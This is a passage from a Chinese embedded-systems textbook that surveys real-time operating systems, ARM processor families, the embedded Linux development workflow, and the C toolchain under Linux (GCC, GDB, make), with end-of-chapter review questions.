·VxWorks：美国WindRiver公司于1983年设计开发的一种嵌入式实时操作系统（RTOS）。具有良好的持续发展能力、高性能的内核和友好的开发环境。其突出特点是可靠性好、实时性好和具有可裁剪性，支持多种处理器，如x86，i960，MIPS,Power PC等，目前市场占有率最高，广泛地应用于通信、航空、军事等领域。其缺点是它支持的硬件相对较少，并且源代码不开放，需要专门的技术人员进行开发和维护。

·pSOS：是美国ISI公司（现被WindRiver公司兼并）研究开发的一种嵌入式实时操作系统，主要用于网络通信设备。

·Windows Embedded：是指Windows CE.NET及Windows XP Embedded。其中Windows CE 6.0是一种针对小容量、移动式、智能化、32位、连接设备的模块化实时嵌入式操作系统。针对掌上设备、无线设备的动态应用程序和服务提供了一种功能丰富的操作系统平台，操作系统的基本内核需要至少200KB的ROM。Windows CE嵌入但不够实时，属于软实时操作系统，目前也开始中文手机的研究开发，由于其Windows背景，界面比较统一。

2.免费嵌入式实时操作系统

免费型的嵌入式实时操作系统在价格方面具有优势，但是稳定性与服务性存在挑战。

·μC/OS-Ⅱ：Micrium公司开发的微控制器操作系统，由美国人Jean Labrosse在1992年完成，可用于8位、16位、32位处理器。其应用面覆盖了很多领域，如照相机、医疗器械、音响设备、发动机控制等。特点：源代码公开，可固化（ROMable），可裁剪（scal-able），占先式（总是运行最高优先级的就绪任务）、多任务、可确定性、任务栈、系统服务、中断管理、稳定性和可靠性。μC/OS-Ⅱ可以管理64个任务，应用程序最多可以有56个任务，并且提供以下服务：任务管理（任务创建、删除、任务挂起与唤醒、优先级切换等）、信号量、互斥信号量、消息队列、事件标志、定时管理和存储模块管理。

·嵌入式Linux：指针对Linux经过小型化裁剪后，能够固化在容量只有几百字节或几兆字节的存储器芯片或单片机中，应用于特定嵌入式场合的专用Linux操作系统。Linux是开放源码的，几乎支持所有的32位、64位CPU，内核中支持的硬件种类繁多，几乎可以从网络上找到所有硬件驱动程序。Linux的内核小、功能强大、运行稳定、系统健壮、效率高，易于定制剪裁，在价格上极具竞争力。Linux不仅支持x86 CPU，还可以支持其他数十种CPU芯片。


1.4　ARM处理器平台介绍

ARM（Advanced RISC Machines）是一类嵌入式微处理器，同时也可以认为是一个公司的名字，该公司于1990年11月成立于英国剑桥，它是一家专门从事16/32位RISC技术知识产权设计的供应商，主要出售芯片设计技术的授权。

ARM处理器文档丰富、速度快、功耗低、价格低，目前采用ARM技术知识产权（IP）核的微处理器，即通常所说的ARM微处理器，已遍及工业控制、消费类电子产品、通信系统、网络系统、无线系统、安全系统等各类产品市场，基于ARM技术的微处理器应用约占据了32位RISC微处理器75%以上的市场份额，ARM技术正在逐步渗入到人们生活的各个方面。

ARM公司是专门从事基于RISC技术芯片设计开发的公司，作为知识产权供应商，本身不直接从事芯片生产，靠转让设计许可由合作公司生产各具特色的芯片，世界各大半导体生产商从ARM公司购买其设计的ARM微处理器核，根据各自不同的应用领域，加入适当的外围部件，如UART、I2
 C等，从而形成自己的ARM微处理器芯片进入市场。目前，全世界有几十家大的半导体公司都使用ARM公司的授权，因此既使得ARM处理器技术获得更多的第三方工具、制造、软件的支持，又使整个系统成本降低，使产品更容易进入市场被消费者所接受，更具有竞争力。

ARM微处理器目前包括下面几个系列，以及其他厂商基于ARM体系结构的处理器，除了具有ARM体系结构的共同特点以外，每一个系列的ARM微处理器都有各自的特点和应用领域。

·ARM7系列

·ARM9系列

·ARM9E系列

·ARM10E系列

·ARM11系列

·SecurCore系列

·Intel的Xscale系列

·Intel的StrongARM系列

·Cortex系列

其中，ARM7、ARM9、ARM9E和ARM10E为4个通用处理器系列，每一个系列提供一套相对独特的性能来满足不同应用领域的需求。SecurCore系列专门为安全要求较高的应用而设计。

以下简单介绍一下各种微处理器的特点及应用领域。

1.ARM7微处理器系列

ARM7系列微处理器为低功耗的32位RISC处理器，最适合对价位和功耗要求较高的消费类应用。ARM7微处理器系列具有如下特点：

·具有嵌入式ICE-RT逻辑，调试开发方便。

·极低的功耗，适合对功耗要求较高的应用，如便携式产品。

·能够提供0.9MIPS/MHz的三级流水线结构。

·代码密度高并兼容16位的Thumb指令集。

·对操作系统支持广泛，包括Windows CE、Linux、Palm OS等。

·指令系统与ARM9系列、ARM9E系列和ARM10E系列兼容，便于用户的产品升级换代。

·主频最高可达130MIPS，高速的运算处理能力能胜任绝大多数的复杂应用。

ARM7系列微处理器的主要应用领域为：工业控制、Internet设备、网络和调制解调器设备、移动电话等多种多媒体和嵌入式应用。

ARM7系列微处理器包括如下几种类型的核：ARM7TDMI、ARM7TDMI-S、ARM720T、ARM7EJ。其中，ARM7TMDI是目前使用最广泛的32位嵌入式RISC处理器，属低端ARM处理器核。ARM7系列处理器没有内存管理单元（MMU）。TDMI的基本含义为：

·T　支持16位压缩指令集（Thumb）。

·D　支持片上调试（Debug）。

·M　内嵌硬件乘法器（Multiplier）。

·I　嵌入式ICE，支持片上断点和调试点。

2.ARM9微处理器系列

ARM9系列微处理器在高性能和低功耗特性方面提供最佳的性能。具有以下特点：

·采用取指、译码、执行、缓冲、回写5级整数流水线，指令执行效率更高。

·提供1.1MIPS/MHz的哈佛结构。

·支持32位ARM指令集和16位Thumb指令集。

·支持32位的高速AMBA总线接口。

·全性能的MMU，支持Windows CE、Linux、Palm OS等多种主流嵌入式操作系统。

·MPU支持实时操作系统。

·支持数据Cache和指令Cache，具有更高的指令和数据处理能力。

ARM9系列微处理器主要应用于无线设备、仪器仪表、安全系统、机顶盒、高端打印机、数字照相机和数字摄像机等。

ARM9系列微处理器包含ARM920T、ARM922T和ARM940T 3种类型，以适用于不同的应用场合。

3.ARM9E微处理器系列

ARM9E系列微处理器为可综合处理器，使用单一的处理器内核提供了微控制器、DSP、Java应用系统的解决方案，极大地减少了芯片的面积和系统的复杂程度。ARM9E系列微处理器提供了增强的DSP处理能力，很适合于那些需要同时使用DSP和微控制器的应用场合。

ARM9E系列微处理器的主要特点如下：

·支持DSP指令集，适合于需要高速数字信号处理的场合。

·5级整数流水线，指令执行效率更高。

·支持32位ARM指令集和16位Thumb指令集。

·支持32位的高速AMBA总线接口。

·支持VFP9浮点协处理器。

·全性能的MMU，支持Windows CE、Linux、Palm OS等多种主流嵌入式操作系统。

·MPU支持实时操作系统。

·支持数据Cache和指令Cache，具有更高的指令和数据处理能力。

·主频最高可达300MIPS。

ARM9E系列微处理器主要应用于下一代无线设备、数字消费品、成像设备、工业控制、存储设备和网络设备等领域。

ARM9E系列微处理器包含ARM926EJ-S、ARM946E-S、ARM966E-S、ARM968E-S和ARM966HS等类型，以适用于不同的应用场合。

4.ARM10E微处理器系列

ARM10E系列微处理器具有高性能、低功耗的特点，由于采用了新的体系结构，与同等的ARM9器件相比较，在同样的时钟频率下，性能提高了近50%。同时，ARM10E系列微处理器采用了两种先进的节能方式，使其功耗极低。

ARM10E系列微处理器的主要特点如下：

·支持DSP指令集，适合于需要高速数字信号处理的场合。

·6级整数流水线，指令执行效率更高。

·支持32位ARM指令集和16位Thumb指令集。

·支持32位的高速AMBA总线接口。

·支持VFP10浮点协处理器。

·全性能的MMU，支持Windows CE、Linux、Palm OS等多种主流嵌入式操作系统。

·支持数据Cache和指令Cache，具有更高的指令和数据处理能力。

·主频最高可达400MIPS。

·内嵌并行读/写操作部件。

ARM10E系列微处理器主要应用于下一代无线设备、数字消费品、成像设备、工业控制、通信和信息系统等领域。

ARM10E系列微处理器包含ARM1020E、ARM1022E和ARM1026EJ-S 3种类型，以适用于不同的应用场合。

5.ARM11微处理器系列

ARM11系列微处理器是ARM公司近年推出的新一代RISC处理器，它是ARM新指令架构——ARMv6的第一代设计实现。ARM11的媒体处理能力和低功耗特点特别适用于无线和消费类电子产品，其高数据吞吐量和高性能的结合非常适合网络处理应用，在实时性能和浮点处理方面ARM11可以满足汽车电子应用的需求。

ARM11系列微处理器主要有ARM11MPCore、ARM1136J(F)-S、ARM1156T2（F）-S和ARM1176JZ(F)-S等。

6.SecurCore微处理器系列

SecurCore系列微处理器专为安全需要而设计，提供了完善的32位RISC技术的安全解决方案，因此，SecurCore系列微处理器除了具有ARM体系结构的低功耗、高性能的特点外，还具有独特的优势，即提供了对安全解决方案的支持。

SecurCore系列微处理器除了具有ARM体系结构各种主要特点外，还在系统安全方面具有如下的特点：

·带有灵活的保护单元，以确保操作系统和应用数据的安全。

·采用软内核技术，防止外部对其进行扫描探测。

·可集成用户自己的安全特性和其他协处理器。

SecurCore系列微处理器主要应用于一些对安全性要求较高的应用产品及应用系统，如电子商务、电子政务、电子银行业务、网络和认证系统等领域。

SecurCore系列微处理器包含SecurCore SC100、SecurCore SC110、SecurCore SC200和Se-curCore SC210 4种类型，以适用于不同的应用场合。

7.Xscale处理器

Xscale处理器是Intel目前主要推广的一款ARM微处理器。Xscale处理器是基于ARMv5TE体系结构的解决方案，是一款全性能、高性价比、低功耗的处理器。它支持16位的Thumb指令集和DSP指令集，已使用在数字移动电话、个人数字助理和网络产品等场合。Intel XScale具有下列特点：

·32KB数据Cache。

·32KB指令Cache。

·2KB微小数据Cache。

·7级流水线。

·动态电源管理。

8.StrongARM微处理器系列

Intel StrongARM SA-1100处理器是采用ARM体系结构高度集成的32位RISC微处理器。它融合了Intel公司的设计和处理技术以及ARM体系结构的电源效率，采用在软件上兼容ARMv4体系结构、同时采用具有Intel技术优点的体系结构。

Intel StrongARM处理器是便携式通信产品和消费类电子产品的理想选择，已成功应用于多家公司的掌上电脑系列产品。

9.Cortex微处理器系列

Coetex系列微处理器是基于ARMv7架构的，分为Cortex-A、Cortex-R和Cortex-M 3类。其中，Cortex-A是传统的、基于虚拟存储的操作系统和应用程序而设计，支持ARM、Thumb和Thumb-2指令集。Cortex-R针对实时系统设计，支持ARM、Thumb和Thumb-2指令集。Cortex-M为对价格敏感的产品而设计，只支持Thumb-2指令集。

常见的嵌入式处理器还有Motorola公司处理器、IBM Power PC处理器、Intel x86系列处理器、MIPS等。

基于ARM的处理器以其高速度、低功耗、价格低等优点得到非常广泛的应用，到目前为止，ARM处理器及技术的应用几乎已经深入到各个领域。

（1）工业控制领域

作为32的RISC架构，基于ARM核的微控制器芯片不但占据了高端微控制器市场的大部分市场份额，同时也逐渐向低端微控制器应用领域扩展，ARM微控制器的低功耗、高性价比，向传统的8位/16位微控制器提出了挑战。

（2）无线通信领域

目前已有超过85%的无线通信设备采用了ARM技术，ARM以其高性能和低成本在该领域的地位日益巩固。

（3）网络应用

随着宽带技术的推广，采用ARM技术的ADSL芯片正逐步获得竞争优势。此外，ARM在语音及视频处理上进行了优化，并获得广泛支持，也对DSP的应用领域提出了挑战。

（4）消费类电子产品

ARM技术在目前流行的数字音频播放器、数字机顶盒和游戏机中得到广泛采用。

（5）成像和安全产品

现在流行的数码相机和打印机中绝大部分采用ARM技术。手机中的32位SIM智能卡也采用了ARM技术。

（6）安全系统

比如信用卡、SIM卡等均采用了ARM技术。


1.5　嵌入式系统开发

嵌入式系统开发分为软件开发部分和硬件开发部分。嵌入式系统在开发过程中一般都采用“宿主机/目标板”开发模式，即利用宿主机（PC机）上丰富的软硬件资源及良好的开发环境和调试工具来开发目标板上的软件，然后通过交叉编译环境生成目标代码和可执行文件，通过串口/USB/以太网等方式下载到目标板上，利用交叉调试器运行程序，实时分析，最后，将程序下载固化到目标机上，完成整个开发过程。

当前，嵌入式开发已经逐步规范化，在遵循一般工程开发流程的基础上，嵌入式开发有其自身的一些特点，如图1-3所示为嵌入式系统开发的一般流程。主要包括系统需求分析（要求有严格规范的技术要求）、体系结构设计、软硬件及机械系统设计、系统集成、系统测试，最终得到最终产品。
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图　1-3　嵌入式系统开发的一般流程

（1）系统需求分析

确定设计任务和设计目标，并提炼出设计规格说明书，作为正式设计指导和验收的标准。系统的需求一般分功能性需求和非功能性需求两方面。功能性需求是指系统要实现的基本功能，如输入输出信号、操作方式等；非功能性需求包括系统性能、成本、功耗、体积、重量等因素。

（2）体系结构设计

描述系统如何在给定的约束条件下完成用户的需求，包括对硬件、软件和执行装置的功能划分，以及系统的软件、硬件选型等。一个好的体系结构是设计成功与否的关键。

（3）硬件/软件协同设计

基于体系结构，对系统的软件、硬件进行详细设计。硬件平台选择包括选择嵌入式微处理器、存储空间、存储方式的确定、显示接口、A/D转换、D/A转换、通信接口、音频、视频、输入方式等。对应于每一个处理器的硬件平台都是通用的、固定的、成熟的，因此在开发过程中减少了硬件系统错误的引入机会，同时由于嵌入式操作系统屏蔽掉了底层硬件的很多信息，使得开发者通过操作系统的API函数就可以完成大部分的工作，简化开发过程，提高系统的稳定性。软件平台的选择包括操作系统的选择、编程语言的选择。对于操作系统而言，要求其具有通用性、可移植性、执行效率高、可维护性好等特点。在嵌入式系统开发中使用较多的语言有Ada、C/C++、Modula-2和Java等。C语言具有广泛的库程序支持，是目前嵌入式系统中使用最广泛的编程语言。

为了缩短产品开发周期，设计往往是并行的。嵌入式系统设计的工作大部分都集中在应用程序的设计上，面向对象技术、软件组件技术、模块化设计是现代软件工程经常采用的方法。

（4）系统集成

把系统的软件、硬件和执行装置集成在一起，进行调试，发现并改正单元设计过程中的错误。

（5）系统测试

对设计好的系统进行测试，看其是否满足规格说明书中给定的功能要求。

嵌入式系统开发模式的最大特点是软件、硬件综合开发。这是因为嵌入式产品是软硬件的结合体，软件针对硬件开发、固化、不可修改。

如果在一个嵌入式系统中使用Linux技术开发，则不仅仅包括一个Linux内核，一般还包括：引导加载程序（BootLoader），为目标板特殊硬件编写驱动程序，根文件系统，上层应用等。

一般来说，要开发一个完整的嵌入式Linux系统，一般需要做以下工作。

·开发目标板硬件。

·建立一套交叉编译工具，能够在工作站主机上产生目标板上运行的目标代码；进行交叉编译的主机为宿主机，宿主机系统资源丰富，集成了开发环境和调试工具。

·移植一个合适的引导加载程序到目标板上，初始化目标板和加载内核。

·移植一个合适的Linux内核到目标板上。

·建立一个根文件系统。

·开发特定外设的驱动程序。

·开发上层的应用程序，可以放入根文件系统中，也可以放入YAFFS、JFFS2文件系统中。


1.6　嵌入式Linux软件设计

嵌入式软件与嵌入式系统是密不可分的，嵌入式软件就是基于嵌入式系统设计的软件，它也是计算机软件的一种，同样由程序及其文档组成，可细分成系统软件、支撑软件、应用软件3类，是嵌入式系统的重要组成部分。


 1.6.1　嵌入式Linux软件需求分析

在嵌入式系统的开发中，需求是指系统必须符合的条件或具备的功能。需求阶段要明确系统所要实现的功能以及所要达到的性能，是整个系统开发的目标。在需求阶段要确定设计任务和设计目标，并提炼出设计规格说明书，作为正式设计指导和验收的标准。系统的需求一般分功能性需求和非功能性需求两方面。功能性需求是系统的基本功能，如输入输出信号、操作方式等；非功能性需求包括系统性能、成本、功耗、体积、重量等因素。然后是规格说明，在此阶段对系统的需求进行更加细致的描述，但是规格说明只对系统如何工作（工作过程）进行了描述，这些描述并不涉及它的组成。

嵌入式系统设计是一个软、硬件结合的协同设计。在软、硬件设计领域中，统一建模语言UML（Unified Modeling Language）采用一种简单而直观的图形化方式描述系统设计中的各个问题和细节。不同技术背景的设计师只需懂得简单的UML符号就可以方便地与对方交流、共同设计。正是因为这些特点，在嵌入式系统设计中使用UML建模并书写文档通常可以起到事半功倍的效果。

UML是一种定义良好、易于表达、功能强大且普遍适用的建模语言。它融入了软件工程领域的新思想、新方法和新技术。它的作用域不限于支持面向对象的分析与设计，还支持从需求分析开始的软件开发的全过程。

在美国，截至1996年10月，UML获得了工业界、科技界和应用界的广泛支持，已有700多个公司表示支持采用UML作为建模语言。1996年底，UML已稳占面向对象技术市场的85%，成为可视化建模语言事实上的工业标准。UML代表了面向对象方法的软件开发技术的发展方向，具有巨大的市场前景，也具有重大的经济价值和国防价值。

UML融合了Booch、OMT和OOSE方法中的基本概念，而且这些基本概念与其他面向对象技术中的基本概念大多相同，因而，UML必然成为这些方法以及其他方法的使用者乐于采用的一种简单一致的建模语言，其次，UML不仅仅是上述方法的简单汇合，而是在这些方法的基础上广泛征求意见，集众家之长几经修改而完成的。UML是标准的建模语言，而不是标准的开发过程。尽管UML的应用必然以系统的开发过程为背景，但由于不同的组织和不同的应用领域，需要采取不同的开发过程。


1.6.2　嵌入式Linux软件架构设计

嵌入式系统编程软件架构方面主要包括模块划分、多任务或是单任务选取、单任务程序典型架构、中断服务程序、硬件驱动模块设计。

（1）模块划分

模块划分是指怎样合理地将一个很大的软件划分为一系列功能独立的部分合作完成系统的需求。C语言作为一种结构化的程序设计语言，在模块的划分上主要依据功能。

一个嵌入式系统通常包括硬件驱动模块和软件功能模块两类模块，一种特定硬件对应一个硬件驱动模块；软件功能模块的划分应满足低耦合、高内聚的要求。

（2）多任务或是单任务

所谓单任务系统是指该系统不能支持多任务并发操作，宏观串行地执行一个任务。而多任务系统则可以宏观并行（微观上可能串行）地同时执行多个任务。

多任务的并发执行通常依赖于一个多任务操作系统（OS），多任务OS的核心是系统调度器，它使用任务控制块（TCB）来管理任务调度功能。TCB包括任务的当前状态、优先级、要等待的事件或资源、任务程序码的起始地址、初始堆栈指针等信息。调度器在任务被激活时，要用到这些信息。此外，TCB还被用来存放任务的上下文（context）。任务的上下文就是当一个执行中的任务被停止时，所要保存的所有信息。通常，上下文就是计算机当前的状态，也即各个寄存器的内容。当发生任务切换时，当前运行的任务的上下文被存入TCB，并将要被执行的任务的上下文从它的TCB中取出，放入各个寄存器中。

嵌入式多任务OS的典型例子有Vxworks、μCLinux等。究竟选择多任务还是单任务方式，依赖于软件的体系是否庞大。

（3）单任务程序典型架构

单任务程序典型架构如下：

·从CPU复位时的指定地址开始执行。

·跳转至汇编代码startup处执行。

·跳转至用户主程序main执行，在main中完成初始化各硬件设备、初始化各软件模块、调用各模块的处理函数。

（4）中断服务程序

中断是嵌入式系统中重要的组成部分，但是在标准C中不包含中断。许多编译开发商在标准C上增加了对中断的支持，提供新的关键字用于标示中断服务程序（ISR），类似于inter-rupt、#program interrupt等。当一个函数被定义为ISR的时候，编译器会自动为该函数增加中断服务程序所需要的中断现场入栈和出栈代码。

中断服务程序需要满足如下要求：

·不能返回值。

·不能向ISR传递参数。

·ISR应该尽可能地短小精悍。

·printf（char*lpFormatString，……）函数会带来重入和性能问题，不能在ISR中采用。

（5）硬件驱动模块

一个硬件驱动模块通常应包括如下函数：

·中断服务程序ISR。

·硬件初始化（包括修改寄存器，设置硬件参数，将中断服务程序入口地址写入中断向量表）。

·设置CPU针对该硬件的控制线。

·提供一系列针对该设备的操作接口函数。例如，对于LCD，其驱动模块应提供绘制像素、画线、绘制矩阵、显示字符点阵等函数；而对于实时钟，其驱动模块则需提供获取时间、设置时间等函数。


1.7　实践拓展

1.GNU和Linux的关系

GNU是GNU's Not UNIX的递归缩写，是自由软件基金会的一个项目，该项目的目标是开发一个自由的UNIX版本，这一UNIX版本称为HURD。Linux的开发使用了许多GNU工具，Linux系统上用于实现POSIX.2（POSIX是Portable Operating System Interface的缩写，表示可移植操作系统接口）标准的工具几乎都是GNU项目开发的，如Linux内核、GNU工具等。

2.嵌入式最小系统

由于嵌入式系统非标准化的特点，围绕同一款嵌入式处理器可以构造规模不等、复杂程度不同的系统。但是，对于同一款处理器而言，存在着一个最基本的系统。

嵌入式最小系统是指基于以某处理器为核心，可以运转起来的最简单的硬件设计。主要包括以下单元：处理器、内存、时钟、电源和复位。

3.单片机发展的“Σ模式”与“创新模式”

“Σ模式”本质上是通用计算机直接芯片化的模式，它将通用计算机系统中的基本单元进行裁剪后，集成在一个芯片上，构成单片微型计算机；“创新模式”则完全按嵌入式应用要求设计全新的、满足嵌入式应用要求的体系结构、微处理器、指令系统、总线方式、管理模式等。Intel公司的MCS-48、MCS-51就是按照“创新模式”发展起来的单片形态的嵌入式系统（单片微型计算机）。MCS-51是在探索MCS-48的基础上，进行全面完善的嵌入式系统。实践证明，“创新模式”是嵌入式系统独立发展的正确道路，MCS-51的体系结构也因此成为单片嵌入式系统的典型结构体系。

4.嵌入式系统开发中常用的硬件调试器

目前嵌入式系统开发中最常用到的硬件调试器是ROMMonitor、ROMEmulator、In-Cir-cuitEmulator和In-CircuitDebugger等。

采用ROMMonitor方式进行交叉调试需要在宿主机上运行调试器，在目标机上运行ROM监视器和被调试程序，宿主机和目标机之间必须建立通信连接。

采用ROMEmulator方式进行交叉调试需要使用ROM仿真器，被调试的程序首先下载到ROM仿真器中，在仿真器中完成对目标程序的调试。

采用In-CircuitEmulator方式进行交叉调试需要使用在线仿真器，它是目前最为有效的嵌入式系统的调试手段。

采用In-CircuitDebugger方式进行交叉调试需要使用在线调试器，该方式连接简单、成本较低，但是特性受制于芯片厂商。


1.8　思考与练习

1.嵌入式系统有哪些特点？

2.嵌入式系统由哪几部分组成？

3.嵌入式系统的应用领域有哪些？

4.嵌入式系统与PC系统之间有哪些区别？

5.ARM处理器有哪些系列？


第2章　Linux环境下C语言的开发

本章要点：

C语言概要

Linux环境中C语言的开发

嵌入式Linux中的程序运行


 2.1　C语言简单回顾

最早期的计算机语言是二进制语言，程序设计人员只能用计算机能直接识别和执行的二进制代码来编写程序。为了减轻程序设计人员的负担，很快出现了汇编语言，这种语言是用符号来代表二进制代码，所以称为符号语言。用这种语言编写的程序需要通过一种软件翻译后才能执行，所以又称为汇编语言。汇编语言依赖于计算机的硬件，可读性、移植性都很差。不同的计算机上提供不同的二进制语言或汇编语言，所编写的程序一般只能在同类型的计算机上运行，所以这种语言又称为面向机器的语言。

程序设计的关键是将问题及解决问题的算法过程描述出来，设计人员很快就提供了一种方便描述算法过程，同时脱离对机型的要求，能在任何计算机上运行的计算机语言。程序设计人员可以利用这种语言直接写出各种表达式来描述简单的计算过程。专家们将这种语言称为高级语言，而将二进制语言和汇编语言统称为低级语言。由于高级语言是面向问题和算法过程描述的，所以又将高级语言称为面向问题的语言。

高级语言编写的程序称为源程序。源程序不能在计算机上直接运行，必须将其翻译成二进制程序后才能执行。翻译过程有两种方式：一种是翻译一句执行一句，称为解释程序方式；另一种是全部翻译成二进制代码后再执行，承担翻译工作的程序就称为编译程序，编译后的二进制程序称为目标程序。

世界上第一个高级语言是ALGOL语言，也叫算法语言。第二个高级语言是FORTRAN语言，也叫公式翻译语言。以后陆续出现了很多种高级语言，使用面大的有BASIC语言、COBOL语言、FOXBASE语言、PASCAL语言和C语言。

C语言的前身是ALGOL语言。1960年ALGOL60版本推出后，很受程序设计人员的欢迎。用ALGOL60来描述算法很方便，但是它距离计算机硬件系统很远，不宜用来编写系统程序。1963年英国剑桥大学在ALGOL语言基础上增添了处理硬件的能力，并命名为CPL（复合程序设计语言）。CPL由于规模大，学习和掌握困难，没有流行开来。1967年剑桥大学的马丁·理查德对CPL语言进行了简化，推出BCPL（基本复合程序设计语言）。1970年美国贝尔实验室的肯·汤普逊对BCPL进行了进一步的简化，突出了硬件处理能力，并取了BCLP的第一个字母B作为新语言的名称。同时用B语言编写了UNIX操作系统程序。1972年贝尔实验室的布朗·W·卡尼汉和丹尼斯·M·利奇对B语言进行了完善和扩充，在保留B语言强大硬件处理能力的基础上，扩充了数据类型，恢复了通用性，并取了BCPL的第二个字母作为新语言的名称。尼斯·M·利奇也是UNIX操作系统的主要设计者之一，C语言伴随着UNIX操作系统成为一种很受欢迎的计算机语言。

1977年，为了让C语言脱离UNIX操作系统，成为任何计算机上都能运行的通用计算机语言，卡尼汉和利奇撰写了《C程序设计语言》一书，对C语言的语法进行了规范化的描述，成为当时的标准。随着微型机的普及，出现了不同的C语言版本，为了统一标准，美国标准化协会于1987年制定了C语言的标准，称为ANSI C。通常将K＆R的标准称为旧标准，将ANSI C称为新标准。

C语言是目前国际上广泛使用并具有良好发展前途的计算机语言，它不仅可以用来编写应用软件，而且可以用来开发系统软件，C语言既有一般高级语言的特性，又具有低级语言的特性。Linux操作系统本身就是用C语言开发的，C语言也是Windows操作系统的主要开发语言。目前，在微机上广泛使用的C语言编译系统有Microsoft C（简称MSC）、Turbo C（简称TC）、Borland C（简称BC）等。在C语言的基础上，人们又开发了C++语言、C#语言等。目前流行的C语言编译系统是以1990年国际标准化组织制定的ISO C标准。

C语言的主要特点可以概括如下：

·C语言是一种模块化的程序设计语言。将一个大的程序按功能分割成一些模块，程序的各个部分除了必要的信息交流外相对独立。从而使得程序的各个部分可以单独开发和测试，提高开发效率，适合大型软件的研制和调试。

·语言简洁，结构紧凑，使用方便、灵活。C语言一共只有32个关键字，9条控制语句，且源程序书写格式自由。

·运算极其丰富，数据处理能力强。C语言一共有34种运算符，例如，自增（++）/自减（--）运算符、复合赋值运算符、位运算符及条件运算符等。同时，C语言可以实现其他高级语言较难实现的功能。

·可移植性好。C语言程序基本上可以不做任何修改，就能运行于各种不同的硬件平台和各种操作系统环境上。

·可以直接调用系统功能，实现对硬件的操作。这是其他高级语言所不具备的。

·与Linux结合紧密。Linux操作系统本身就是由C语言开发的，在Linux上用C语言开发程序运行效率很高。与C语言相比，用Java语言编写的程序虽然可以在各种软硬件平台上运行，如基于Intel的Linux等，但是Java程序的运行依赖于虚拟机，相对而言运行效率不高。

·具有两重性。C语言比其他高级语言更接近硬件，比低级语言更接近算法，程序易编、易读、易查、易改。可以说是兼有高级语言和低级语言的优点。


2.2　Linux下的C语言开发环境

Linux和C语言有很紧密的联系，因为Linux本身就是用C语言编写的。同时，在Linux操作系统中也提供了C语言的开发环境。这些开发环境一般包括编辑器、编译链接器、程序调试工具、工程管理工具等。

（1）编辑器

嵌入式Linux下最常用的编辑器有Vi(Vim)和Emacs，完成对所录入文字的编辑工作。

（2）编译链接器

在Linux中，一般使用GCC（GNU Compiler Collection）作为程序生成工具。GCC提供了C语言的编译器、汇编器、链接器以及一系列辅助工具。GCC可以用于生成Linux中的应用程序，也可以用于编译Linux内核和内核模块，是Linux中C语言开发的核心工具，其执行效率比一般的编译器平均要高20%～30%。

（3）程序调试工具

GDB是Linux中一个强大的命令行调试工具，使用GDB调试C语言的时候，可以使用设置断点、单步运行、查看变量等功能。

（4）工程管理工具

在Linux操作系统下的程序开发中，一般使用make和Makefile作为工程管理工具。在工程管理方面，有效地使用它们可以统筹工程中的各个文件，并在编译过程中根据时间戳，有选择地进行编译，减少程序生成时间。


2.3　嵌入式Linux C语言的开发

本节介绍嵌入式Linux C语言的开发流程、开发工具等内容，为后续的开发研究打下基础。

1.嵌入式Linux C语言的开发流程

在Linux操作系统中，C语言程序的开发和在其他环境中类似，程序的生成主要分成编译、汇编、链接等几个步骤。在Linux中使用文本编辑工具编辑程序源代码也是程序开发的重要步骤。

C语言程序的开发过程是：使用编辑工具编写文本形式的C语言源文件，然后编译生成以机器代码为主的二进制可执行程序的过程。由源文件生成可执行程序的开发过程如图2-1所示。
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图　2-1　Linux中C语言程序的开发过程

嵌入式Linux下的常用编辑器有Vi和Emacs，它们功能强大，使用方便。编译过程包括词法、语法和语义的分析，对嵌入式系统而言，一般要把用C语言编写的程序转换成处理器的汇编代码。编译过程包含了C语言的语法解析和汇编语言的生成两个步骤。汇编一般是逐个文件进行的，对于每一个C语言编写的文件，可能还需要进行预处理。

汇编是从汇编语言程序生成目标系统的二进制代码（机器代码）的过程。机器代码的生成和处理器有密切的联系。相对于编译过程的语法解析，汇编的过程相对简单。这是因为对于一款特定的处理器，其汇编语言和二进制的机器代码是一一对应的。汇编过程的输入是汇编代码，这个汇编代码可能来源于编译过程的输出，也可以是直接用汇编语言书写的程序。

链接过程是指将汇编生成的多段机器代码组合成一个可执行程序。一般来说，通过编译和汇编过程，每一个源文件将生成一个目标文件。链接器的作用就是将这些目标文件组合起来，组合的过程包括了代码段、数据段等部分的合并，以及添加相应的文件头。

在Linux的C语言程序生成过程中，源代码经过编译—汇编—链接生成可执行程序。GCC是Linux下主要的编译工具，它是GNU推出的多平台编译器。

调试是程序开发一个很重要的环节，在编程的过程中，调试所用的时间要远远大于编写代码的时间。在Linux的程序开发中，最主要的调试工具是GDB。GDB是一个命令行调试工具，可以实现在程序中设置断点、单步执行、查看对应源代码等功能，满足开发人员的需要。

嵌入式Linux中的项目管理器make是一种控制编译或者重复编译软件的工具，它可以自动管理软件编译的内容、方式和时机。

虽然Linux中基本的开发工具GCC和GDB都是命令行工具，但是它们也可以和IDE（集成开发环境）结合使用。

2.嵌入式Linux C语言的开发工具

Linux下程序的开发过程及相关工具的使用如图2-2所示。
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图　2-2　Linux程序开发的过程及相关工具


2.4　Linux系统

Linux是一种可以自由传播和免费使用的操作系统，它和UNIX系统类似，可以在各种硬件平台上运行并且开放全部的源代码。UNIX作为一种经典的操作系统，最初是由贝尔实验室的Ken Thompson和Dennis Ritchie于1969年研发成功的，主要用于大型机和小型计算机上，它价格昂贵，对于一般用户来说是可望而不可即的。Linux操作系统核心最早是由芬兰的Linus Torvalds于1991年8月在芬兰赫尔辛基大学发布的，后来经过众多世界顶尖的软件工程师的不断修改和完善，Linux得以在全球普及开来，在服务器领域及个人桌面版得到越来越多的应用，在嵌入式开发方面更是具有其他操作系统无可比拟的优势，并以每年100%的用户递增数量显示了Linux强大的力量。

Linux的运行方式同UNIX系统很像，如多任务、多用户、安全、稳定等，但Linux系统的稳定性、多工能力与网络功能已是许多商业操作系统无法比拟的，Linux拥有良好的用户界面，适合作为个人电脑的操作系统。另外，Linux还有一项最大的特色在于源代码完全公开，在符合GNU GPL（General Public License）的原则下，任何人皆可自由取得、散布，甚至修改源代码，免费下载许多Linux的应用软件。

与其他操作系统相比，Linux主要有以下特色：

·多用户、多任务，Linux支持多个用户同时使用一台计算机，每个用户相互间不受干扰，用户之间可以进行会话和通信。同时Linux还支持多任务，使得计算机可以同时运行多个程序，程序之间不会相互干扰。

·采用阶层式目录结构，文件归类清楚，容易管理。

·支持多种文件系统，如Ext2FS、ISOFS以及Windows的文件系统FAT16、AT32、NTFS等。

·Linux系统具有良好的移植性，其系统核心只有小于10%的源代码采用汇编语言编写，其余均是采用C语言编写，可以方便地从一个硬件平台移植到另外的一个硬件平台，使之仍然能够按照其自身的方式运行。

